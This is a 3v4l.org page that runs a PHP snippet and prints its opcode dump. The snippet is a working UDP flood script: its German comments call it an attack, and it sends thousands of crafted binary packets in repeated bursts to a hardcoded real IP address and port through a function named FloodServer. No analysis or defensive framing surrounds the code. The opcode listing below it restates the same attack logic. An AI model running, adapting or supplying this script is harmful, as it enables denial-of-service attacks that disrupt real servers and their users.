3v4l.org

run code in 300+ PHP versions simultaneously
<?php $m1 = "\x10\x0\x0\x1"; $m2 = "\x10\x00\x00\x03"; $m3 = "\x00\x00\x01\x41\x07\x01\x03\x30\x2e\x36\x20\x36\x32\x36\x66\x63\x65\x39\x61\x37\x37\x38\x64\x66\x34\x64\x34\x00\x00"; $m4 = "\x00\x01\x01\x40\x01\x02\x1d"; $m5 = "\x00\x03\x01\x42\x02\x03\x28\x20\x20\x20\x20\x20\x20\x20\x20\x7b\x31\x33\x78\x33\x37\x7d\x00\x00\x40\x63\x6f\x61\x6c\x61\x00\x01\x80\xc8\x85\x0c\x80\xe8\xd4\x08"; $m6 = "\x00\x06\x01\x40\x01\x04\x1f"; $m7 = "\x10\x07\x00\x04"; $interval = 10; // zeit zwischen angriff $attacknum = 3; //anzahl angriffe $packetnum = 3000; //anzahl packete pro angriff ini_set('max_execution_time', 300); if ($socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP)) { for($j = 0; $j<$attacknum; $j++) { for($i = 0; $i<$packetnum; $i++) { FloodServer($socket, '188.138.11.45', 3333); } sleep($interval); } } function FloodServer($s, $server_ip, $server_port) { global $m1,$m2,$m3,$m4,$m5,$m6,$m7; socket_sendto($s, $m1, strlen($m1), 0, $server_ip, $server_port); socket_sendto($s, $m2, strlen($m2), 0, $server_ip, $server_port); socket_sendto($s, $m3, strlen($m3), 0, $server_ip, $server_port); socket_sendto($s, $m4, strlen($m4), 0, $server_ip, $server_port); socket_sendto($s, $m5, strlen($m5), 0, $server_ip, $server_port); socket_sendto($s, $m6, strlen($m6), 0, $server_ip, $server_port); socket_sendto($s, $m7, strlen($m7), 0, $server_ip, $server_port); }
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 24, Position 2 = 42
Branch analysis from position: 24
1 jumps found. (Code = 42) Position 1 = 40
Branch analysis from position: 40
2 jumps found. (Code = 44) Position 1 = 42, Position 2 = 26
Branch analysis from position: 42
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 26
1 jumps found. (Code = 42) Position 1 = 34
Branch analysis from position: 34
2 jumps found. (Code = 44) Position 1 = 36, Position 2 = 28
Branch analysis from position: 36
2 jumps found. (Code = 44) Position 1 = 42, Position 2 = 26
Branch analysis from position: 42
Branch analysis from position: 26
Branch analysis from position: 28
2 jumps found. (Code = 44) Position 1 = 36, Position 2 = 28
Branch analysis from position: 36
Branch analysis from position: 28
Branch analysis from position: 42
filename:       /in/lVv1E
function name:  (null)
number of ops:  43
compiled vars:  !0 = $m1, !1 = $m2, !2 = $m3, !3 = $m4, !4 = $m5, !5 = $m6, !6 = $m7, !7 = $interval, !8 = $attacknum, !9 = $packetnum, !10 = $socket, !11 = $j, !12 = $i
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, '%10%00%00%01'
    4     1        ASSIGN                                                   !1, '%10%00%00%03'
    5     2        ASSIGN                                                   !2, '%00%00%01A%07%01%030.6+626fce9a778df4d4%00%00'
    6     3        ASSIGN                                                   !3, '%00%01%01%40%01%02%1D'
    7     4        ASSIGN                                                   !4, '%00%03%01B%02%03%28++++++++%7B13x37%7D%00%00%40coala%00%01%80%C8%85%0C%80%E8%D4%08'
    8     5        ASSIGN                                                   !5, '%00%06%01%40%01%04%1F'
    9     6        ASSIGN                                                   !6, '%10%07%00%04'
   11     7        ASSIGN                                                   !7, 10
   12     8        ASSIGN                                                   !8, 3
   13     9        ASSIGN                                                   !9, 3000
   15    10        INIT_FCALL                                               'ini_set'
         11        SEND_VAL                                                 'max_execution_time'
         12        SEND_VAL                                                 300
         13        DO_ICALL                                                 
   18    14        INIT_FCALL_BY_NAME                                       'socket_create'
         15        FETCH_CONSTANT                                   ~24     'AF_INET'
         16        SEND_VAL_EX                                              ~24
         17        FETCH_CONSTANT                                   ~25     'SOCK_DGRAM'
         18        SEND_VAL_EX                                              ~25
         19        FETCH_CONSTANT                                   ~26     'SOL_UDP'
         20        SEND_VAL_EX                                              ~26
         21        DO_FCALL                                      0  $27     
         22        ASSIGN                                           ~28     !10, $27
         23      > JMPZ                                                     ~28, ->42
   20    24    >   ASSIGN                                                   !11, 0
         25      > JMP                                                      ->40
   22    26    >   ASSIGN                                                   !12, 0
         27      > JMP                                                      ->34
   24    28    >   INIT_FCALL_BY_NAME                                       'FloodServer'
         29        SEND_VAR_EX                                              !10
         30        SEND_VAL_EX                                              '188.138.11.45'
         31        SEND_VAL_EX                                              3333
         32        DO_FCALL                                      0          
   22    33        PRE_INC                                                  !12
         34    >   IS_SMALLER                                               !12, !9
         35      > JMPNZ                                                    ~33, ->28
   26    36    >   INIT_FCALL                                               'sleep'
         37        SEND_VAR                                                 !7
         38        DO_ICALL                                                 
   20    39        PRE_INC                                                  !11
         40    >   IS_SMALLER                                               !11, !8
         41      > JMPNZ                                                    ~36, ->26
   41    42    > > RETURN                                                   1

Function floodserver:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/lVv1E
function name:  FloodServer
number of ops:  74
compiled vars:  !0 = $s, !1 = $server_ip, !2 = $server_port, !3 = $m1, !4 = $m2, !5 = $m3, !6 = $m4, !7 = $m5, !8 = $m6, !9 = $m7
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   31     0  E >   RECV                                             !0      
          1        RECV                                             !1      
          2        RECV                                             !2      
   33     3        BIND_GLOBAL                                              !3, 'm1'
          4        BIND_GLOBAL                                              !4, 'm2'
          5        BIND_GLOBAL                                              !5, 'm3'
          6        BIND_GLOBAL                                              !6, 'm4'
          7        BIND_GLOBAL                                              !7, 'm5'
          8        BIND_GLOBAL                                              !8, 'm6'
          9        BIND_GLOBAL                                              !9, 'm7'
   34    10        INIT_FCALL_BY_NAME                                       'socket_sendto'
         11        SEND_VAR_EX                                              !0
         12        SEND_VAR_EX                                              !3
         13        STRLEN                                           ~10     !3
         14        SEND_VAL_EX                                              ~10
         15        SEND_VAL_EX                                              0
         16        SEND_VAR_EX                                              !1
         17        SEND_VAR_EX                                              !2
         18        DO_FCALL                                      0          
   35    19        INIT_FCALL_BY_NAME                                       'socket_sendto'
         20        SEND_VAR_EX                                              !0
         21        SEND_VAR_EX                                              !4
         22        STRLEN                                           ~12     !4
         23        SEND_VAL_EX                                              ~12
         24        SEND_VAL_EX                                              0
         25        SEND_VAR_EX                                              !1
         26        SEND_VAR_EX                                              !2
         27        DO_FCALL                                      0          
   36    28        INIT_FCALL_BY_NAME                                       'socket_sendto'
         29        SEND_VAR_EX                                              !0
         30        SEND_VAR_EX                                              !5
         31        STRLEN                                           ~14     !5
         32        SEND_VAL_EX                                              ~14
         33        SEND_VAL_EX                                              0
         34        SEND_VAR_EX                                              !1
         35        SEND_VAR_EX                                              !2
         36        DO_FCALL                                      0          
   37    37        INIT_FCALL_BY_NAME                                       'socket_sendto'
         38        SEND_VAR_EX                                              !0
         39        SEND_VAR_EX                                              !6
         40        STRLEN                                           ~16     !6
         41        SEND_VAL_EX                                              ~16
         42        SEND_VAL_EX                                              0
         43        SEND_VAR_EX                                              !1
         44        SEND_VAR_EX                                              !2
         45        DO_FCALL                                      0          
   38    46        INIT_FCALL_BY_NAME                                       'socket_sendto'
         47        SEND_VAR_EX                                              !0
         48        SEND_VAR_EX                                              !7
         49        STRLEN                                           ~18     !7
         50        SEND_VAL_EX                                              ~18
         51        SEND_VAL_EX                                              0
         52        SEND_VAR_EX                                              !1
         53        SEND_VAR_EX                                              !2
         54        DO_FCALL                                      0          
   39    55        INIT_FCALL_BY_NAME                                       'socket_sendto'
         56        SEND_VAR_EX                                              !0
         57        SEND_VAR_EX                                              !8
         58        STRLEN                                           ~20     !8
         59        SEND_VAL_EX                                              ~20
         60        SEND_VAL_EX                                              0
         61        SEND_VAR_EX                                              !1
         62        SEND_VAR_EX                                              !2
         63        DO_FCALL                                      0          
   40    64        INIT_FCALL_BY_NAME                                       'socket_sendto'
         65        SEND_VAR_EX                                              !0
         66        SEND_VAR_EX                                              !9
         67        STRLEN                                           ~22     !9
         68        SEND_VAL_EX                                              ~22
         69        SEND_VAL_EX                                              0
         70        SEND_VAR_EX                                              !1
         71        SEND_VAR_EX                                              !2
         72        DO_FCALL                                      0          
   41    73      > RETURN                                                   null

End of function floodserver

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
150.48 ms | 1396 KiB | 17 Q